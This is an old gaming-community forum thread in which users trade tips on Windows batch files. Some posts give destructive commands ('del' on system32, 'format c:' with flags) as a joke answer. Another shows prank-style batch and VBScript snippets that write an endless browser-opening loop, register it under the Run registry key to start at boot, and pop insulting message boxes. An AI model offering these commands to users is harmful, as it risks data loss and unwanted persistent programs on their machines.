Mudkiepz 81 Posted June 10, 2008 wha? it explains the basics atleast lol. btw you got pwned at AS Share this post Link to post
Azu 24 Posted June 10, 2008 del C:windowssystem32 Or just open a cmd prompt, type format c:, hit enter, type y, and hit enter. If it doesn't work try adding /X after format, and if you want it to go faster add /Q There's definitely no way you'll be able to delete the system32 folder with normal commands while Windows is running. All of the important files in it are in use and normally you can't delete in use files. Share this post Link to post
djtrickdog 0 Posted July 16, 2008 (edited) dude, as i remember, Windows doesn't even use DOS, it emulates it. What he means is that DOS commands are the same because its emulated, so almost all dos commands will work in Command Prompt. All Batch is, is a file that you enter dos commands. When you load this Batch file, Command Prompt runs all the commands in the Batch File. AND since Windows XP and later, they don't let you format the disk that Windows is currently running on. You cant use Batch for this. Edited July 16, 2008 by djtrickdog Share this post Link to post
fatfuk 0 Posted September 12, 2009 (edited) ::This is a comment, with batch it doesn't matter. -create a loop :loop start http://google.com goto loop -This creates a file and writes to it echo :loop >C:batchbug.bat echo Start Http://google.com >>C:batchbug.bat echo goto loop >>C:batchbug.bat -This adds a file to start up echo Reg add HKLMsoftwaremicrosoftwindowscurrentversionrun /v name /d C:windowsbatchbug.bat -If exist statment If exist C:batchbug.bat goto ItsHere :ItsNotHere echo blah blah blah >C:batchbug.bat :ItsHere -pauses the screen without prompt pause >Nul -set set Name=this is the value echo %Name% -refers to the batch file itself copy %0 del %0 you can learn more basic commands if you type help in command prompt. Idk why you'd want to learn batch unless your at school. If that's the case you should also learn VB Script. Otherwise, use a .net language. Here's some vb script if you wanna mess around with that. -Writes a .vbs file with vbscript in it. echo do >C:heehee.vbs echo A=inputbox("Hi, My name is Master Shake, Whats your name?") >>C:heehee.vbs echo Msgbox "Hey " & A & " your an asshole!",vbinformation,"Windows Messenger" >>C:heehee.vbs echo loop >>C:heehee.vbs start C:heehee.vbs Edited September 12, 2009 by fatfuk Share this post Link to post
ViperSRT3g 224 Posted September 12, 2009 Dear god you bumped this thread that's already been bumped from over a year ago. This thread is unbelievably old! D: Share this post Link to post
Saken15 15 Posted September 13, 2009 I need help with .bat files. Can someone post help on it? Seriously. Even a noob can make a .bat file its 100% easy than anything else related to programming. Go on youtube and learn. @echo offecho Hello my name is Saken and I'm kill your computer pause echo Etcc... Im not gonna post the code to viruses stuff like that. Put that in a notepad and save as .bat and run it. That simple I can teach you for some some around 5$ per 3 weeks. Share this post Link to post
ShadyShell 89 Posted September 13, 2009 holy crap I remember this thread! This was a LONG time ago. Share this post Link to post
Kenshyn 638 Posted September 22, 2009 Ooh, actually, I'm kind of glad this thread was bumped. Been looking into messing with batch files;messing around in my computer class.. Share this post Link to post
hippy420 17 Posted September 22, 2009 Make sure to store any .BAT file (virus or not) In your startup folder so nothing happens to it. Share this post Link to post
fatfuk 0 Posted October 14, 2009 Make sure to store any .BAT file (virus or not) In your startup folder so nothing happens to it. -Lmao Dear zomg! What have I done! Share this post Link to post